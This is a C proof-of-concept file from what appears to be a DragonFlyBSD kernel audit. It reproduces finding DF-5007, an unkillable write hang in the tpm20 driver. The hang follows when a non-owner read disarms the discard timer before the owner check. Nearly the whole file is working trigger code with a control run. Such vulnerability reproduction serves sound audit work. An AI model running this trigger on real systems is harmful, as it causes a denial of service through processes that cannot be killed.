⬢ DragonFlyBSD Kernel Audit
DF-5007 / poc.c
← back to finding ↓ download raw
/*
 * DF-5007 PoC: unkillable write(2) hang after a non-owner read() disarms
 * the tpm20 discard-buffer callout (tpm20.c:78 callout_stop precedes the
 * tpm20.c:80 owner check).
 *
 * ARM 1 (control): write; let the 0.5 s discard timer fire (dmesg "User
 *   failed to read buffer in time"); write again -> completes -> proves the
 *   timer normally recovers the device.
 * ARM 2 (bug): write (pending>0, timer armed); a NON-owner reader gets
 *   EPERM but disarms the timer; wait past the deadline (no dmesg message);
 *   fork a victim that write()s -> blocks forever in cv_wait (no PCATCH);
 *   SIGKILL it -> still stuck (waitpid WNOHANG == 0) -> unkillable hang.
 *
 * Needs root: /dev/hangsim0 is 0600 root:wheel (TPM_CDEV_PERM_FLAG).
 */
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>

static const unsigned char cmd[12] = {
	0x80, 0x01,			/* TPM_ST_NO_SESSIONS */
	0x00, 0x00, 0x00, 0x0c,		/* length 12 */
	0x00, 0x00, 0x01, 0x31,		/* TPM_CC_CreatePrimary */
	0x00, 0x00
};

static void
arm1_control(int fd)
{
	ssize_t r;

	r = write(fd, cmd, sizeof(cmd));
	printf("ARM1 write#1 rc=%zd\n", r);
	fflush(stdout);
	sleep(2);	/* discard timer (0.5 s) fires here -> dmesg msg */
	r = write(fd, cmd, sizeof(cmd));
	printf("ARM1 write#2 rc=%zd (timer cleared pending -> no hang)\n", r);
	fflush(stdout);
	sleep(2);
	r = write(fd, cmd, sizeof(cmd));
	printf("ARM1 write#3 rc=%zd (pending now set, timer armed)\n", r);
	fflush(stdout);
}

int
main(void)
{
	char buf[64];
	int fd, st;
	pid_t pid, w;
	ssize_t r;

	setvbuf(stdout, NULL, _IOLBF, 0);

	fd = open("/dev/hangsim0", O_RDWR);
	if (fd < 0) {
		perror("open /dev/hangsim0 (must run as root)");
		return (1);
	}

	arm1_control(fd);

	/* ARM 2: non-owner read -> EPERM, but callout_stop already ran */
	pid = fork();
	if (pid == 0) {
		int cfd = open("/dev/hangsim0", O_RDWR);

		r = read(cfd, buf, sizeof(buf));
		printf("ARM2 non-owner read rc=%zd errno=%d (EPERM=%d)\n",
		    r, errno, EPERM);
		_exit(0);
	}
	wait(NULL);
	printf("ARM2: timer should now be DEAD; sleeping past the 0.5s deadline\n");
	sleep(2);

	/* victim writer: blocks forever in tpm20_write cv_wait loop */
	pid = fork();
	if (pid == 0) {
		int cfd = open("/dev/hangsim0", O_RDWR);

		printf("ARM2 victim pid=%d write starting\n", getpid());
		r = write(cfd, cmd, sizeof(cmd));
		printf("ARM2 victim write rc=%zd errno=%d (UNEXPECTED!)\n",
		    r, errno);
		_exit(0);
	}
	sleep(5);
	printf("ARM2: SIGKILL victim %d\n", pid);
	kill(pid, SIGKILL);
	sleep(3);

	w = waitpid(pid, &st, WNOHANG);
	if (w == 0) {
		printf("RESULT: VICTIM %d STILL STUCK AFTER SIGKILL "
		    "-> unkillable hang REPRODUCED\n", pid);
		return (42);
	}
	printf("RESULT: victim exited (w=%d st=%d) -> NOT stuck\n", w, st);
	return (1);
}